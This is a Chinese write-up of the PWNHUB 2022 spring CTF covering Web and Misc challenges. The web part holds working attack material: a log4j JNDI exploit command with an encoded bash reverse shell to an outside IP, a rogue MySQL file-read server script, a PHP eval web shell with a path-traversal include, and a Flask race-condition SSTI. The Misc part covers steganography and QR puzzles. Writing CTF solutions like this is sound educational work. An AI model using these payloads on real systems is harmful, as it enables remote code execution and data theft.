2022 PWNHUB 春季赛 WriteUp Web&Misc
0x01 Web
EzPDFParser
扔IDEA里
可以确定是log4j
https://github.com/eelyvy/log4jshell-pdf
,跟着复现
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMjE1LjI1LjE2OC8yMzMzIDA+JjE=}|{base64,-d}|bash" -A "114.215.25.168"
先生成一个PDF,找到size这里
${jndi:ldap:${sys:file.separator}${sys:file.separator}114.215.25.168:1389${sys:file.separator}i5sswg}
上传后getshell
easyCMS
一个mysql文件读,起一个mysql服务,读取源码
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 2333
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
'/var/www/html/route/route.php',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
# daemonize()
asyncore.loop()
testTool.php:
<?php
// \xe5\x9c\xa8\xe7\x94\x9f\xe4\xba\xa7\xe7\x8e\xaf\xe5\xa2\x83\xe4\xb8\x8b\xe5\x88\xa0\xe9\x99\xa4\xe6\xad\xa4\xe5\xb7\xa5\xe5\x85\xb7\xe7\xb1\xbb\xef\xbc\x81
defined("INDEX") ? : header("Location: /");
class testTool extends baseTool
{
public function __construct($arg)
{
$this->input["var"] = $arg['192.168.88.141'] or NULL;
}
public static function init()
{
parent::userToolInit(__CLASS__, './index.php?s=tool/test', 'test\xe7\xb1\xbb');
}
private function test()
{
@mkdir("/tmp/sandbox");
if (is_string($this->input["var"])) {
$value = unserialize($this->input["var"]);
$this->output = $value();
} else if (is_array($this->input["var"])) {
$value = $this->input["var"];
$path = '/tmp/sandbox/'.md5($_SERVER['REMOTE_ADDR']); ///tmp/sandbox/c2dd020c05b439f7c0f7c44b3eaa5964
if (!file_exists($path)) {
mkdir($path, 0777, true);
}
@file_put_contents($path.'/'.basename($value['file']), $value['data']);
} else {
$this->output = NULL;
}
}
public function __invoke()
{
call_user_func(array($this, 'test'));
return $this->output;
}
}
route.php
<?php
defined("INDEX") ? : header("Location: /");
class route
{
public $args = NULL;
protected $sArray = NULL;
protected $toolVar = NULL;
protected $mode = NULL;
protected $class = NULL;
protected $viewPath = NULL;
protected $toolPath = NULL;
public function __construct($s)
{
$this->sArray = explode('/', $s, 2);
$this->mode = $this->sArray[0];
$this->class = $this->sArray[1];
$this->args = $_POST or NULL;
}
public function loadAutoTool()
{
foreach(glob("./tools/autoLoadTools/*.php") as $file) {
include_once($file);
}
return $this;
}
public function getTool()
{
include_once('./tools/baseTool.php');
try {
if($this->mode === 'index')
$this->toolPath = 'webTools';
elseif($this->mode === 'tool')
$this->toolPath = 'userTools';
else
throw new Exception('Mode Error!');
$toolPath = './tools/'.$this->toolPath.'/'.$this->class.'Tool.php';
if(file_exists($toolPath) & include_once($toolPath));
else
throw new Exception('File Error!');
} catch(Exception $e) {
$this->includeError();
return NULL;
}
return $this;
}
public function startTool()
{
$toolClass = $this->class.'Tool';
if (class_exists($toolClass)) {
$toolObj = new $toolClass($this->args);
$this->toolVar = $toolObj();
} else {
$this->includeError();
return NULL;
}
return $this;
}
public function getView()
{
$toolVar = $this->toolVar;
switch (gettype($toolVar)) {
case "array":
$toolVar = htmlTool::arrayHtmlChar($toolVar);
break;
case "string":
$toolVar = htmlTool::stringHtmlChar($toolVar);
break;
}
try {
if($this->mode === 'index')
$this->viewPath = 'index';
elseif($this->mode === 'tool')
$this->viewPath = 'tool';
else
throw new Exception('Mode Error!');
$viewPath = './view/'.$this->viewPath.'/'.$this->class.'.php';
if(file_exists($viewPath))
require_once($viewPath);
else
throw new Exception('File Error!');
} catch(Exception $e) {
$this->includeError();
return NULL;
}
return $this;
}
public function includeError()
{
include_once('./view/error/404.php');
}
}
利用点:可以写文件,要传序列化数据
sArray[1];
是 /
之后的所有内容,可以目录穿越,包含getshell:
http://47.97.127.1:21445/index.php?s=tool/test
Y0U_CA0_n3vEr_F1nD_m3_LOL=s:7:"phpinfo";
phpinfo查看REMOTE_ADDR:
本机ip:123.233.253.147,md5:83003065800cb9011a96bde94e33ea82,所以文件在/tmp/sandbox/83003065800cb9011a96bde94e33ea82下
写入
Y0U_CA0_n3vEr_F1nD_m3_LOL[file]=evilTool.php&Y0U_CA0_n3vEr_F1nD_m3_LOL[data]=<?php eval($_POST[mon]);?>
包含:
http://47.97.127.1:21445/index.php?s=tool/../../../../../../../../../tmp/sandbox/83003065800cb9011a96bde94e33ea82/evil
mon=system('ls /');
baby_flask
import time
import re,os,sys
from flask import Flask,render_template,request
nums,locked = 0, False
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def domain():
return 'Hello'
@app.route('/create')
def create():
try:
global nums, locked
assert not locked, "LOCKED"
default_content = "<h1>2</h1>"
locked = True
if nums > 9999:
raise Exception("templates full")
with open(f'./templates/{nums}.html', 'w') as f:
f.write(default_content)
msg = render_template(f'{nums}.html')
if msg != default_content:
kill()
nums += 1
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg
@app.route('/show/<int:tid>')
def show(tid):
try:
global locked
assert not locked, "LOCKED"
locked = True
if not os.path.exists(f'./templates/{tid}.html'):
raise Exception('file not found')
msg = render_template(f'{tid}.html')
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg
@app.route('/edit/<int:tid>', methods = ["POST"])
def edit(tid):
try:
global locked
assert not locked, "LOCKED"
locked = True
if not os.path.exists(f'./templates/{tid}.html'):
raise Exception('file not found')
if not request.files.get('edit.html'):
raise Exception('Please give me edit file')
f = request.files['edit.html']
f.save(f'./templates/{tid}.html')
msg = 'ok'
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg
@app.route('/kill')
def kill():
func = request.environ.get('werkzeug.server.shutdown')
func()
return 'server exiting.'
if not os.path.exists('templates'):
os.system('mkdir templates')
else:
os.system('rm ./templates/*.html')
app.run(host='0.0.0.0', port=5001)
这里的 edit 路由一看就很有问题,在我们可以随意更改与读取模板的情况下肯定会存在 SSTI 问题的出现,但是
这里我们在本地测试后发现 edit 写入后并不会重新加载模板,我们在 show 的时候显示的还是 create 时写入的内容。
Flask 中有两个配置项 app.DEBUG 与 APP.jinja_env.auto_reload,前者为 Ture 时 代码更改后立即生效,后者为 Ture 时 模板修改后立即生效,无需重启,否则我们要重新加载的话是需要让 flask 应用重启的。
这里想到了之前 *CTF 中的 lotto,我们覆盖 app.py 后也是需要让应用重启的,但是那里给出了 dockerfile,我们知道启动方式为 gunicorn,这里在测试后发现延时或者抓包不放包等并不能使服务重启。
不过这里的 kill 路由存在使应用退出的功能,但是访问也访问不到,查询一下发现
那这个 kill 路由算是废掉了
重新审计源码,猜测存在并发时的线程安全问题,locked 全局变量可以在并发的其他路由中得到解除,同时可以在 msg = render_template(f'{nums}.html')
之前,利用 edit 实现模板的更改,成功加载。
create ,然后 edit,最后 show 查看
写入 SSTI,成功执行
cat flag
成功拿到 flag
0x02 Misc
眼神得好
stegsolve stereogram solver倒着放
被偷的flag
stegslove B0通道发现二维码
扫码得到:1e:))}
binwalk得到
archpr爆破得到密码是flag{32145(
,得到一个txt和pyc
pyc隐写,Stegosaurus提取出VqtS-HZ&*,txt 0宽得到Unc,最后是
然后VqtS-HZ&*
是base85,得到
现在是:flag{32145(base64(Unc1e:))}
32145 -> 32 14 5 -> md5
flag{md5(base64(Unc1e:))}
bad cat
先是个cat变换,图太小,太难看了,爆破出来也看不出来....爆破变换参数
import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2
def arnold_decode(image, shuffle_times, a, b):
decode_image = np.zeros(shape=image.shape)
h, w = image.shape[0], image.shape[1]
N = h # 或N=w
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
new_y = ((-a)*ori_x + ori_y) % N
decode_image[new_x, new_y] = image[ori_x, ori_y]
cv2.imshow("image",decode_image)
cv2.waitKey(10)
cv2.imwrite(i,decode_image)
return decode_image
final = imread('what.png')
n = 0
for m in range(0,1):
for z in range(0,500):
i = str(n) + '.png'
print(i,z,m)
arnold_decode(final, 10, z,m)
n = n+1
爆破出横向变换参数是16,可以爆破单一参数
手撕:
强制扫描
xor一下
看一下数据存储顺序:
对比一下数据顺序:110101111101
可以看到跟这个顺序是一样的:110101111101
可以看到对起来,左边的数据,01000110的16进制转字符串,就是F,对应FLAG的F
这里要写脚本,但是我懒,所以对着flag撕一下
现在这些空着的地方是需要补齐的,被我填上的是有数据的数据区:
根据我们查的资料,数据后面要用这些补齐码字符补齐:
但是我按照这些手填上补齐码,也不对,不知道为啥
0x03 other
签到
- 本文作者: mon0dy
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1527
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!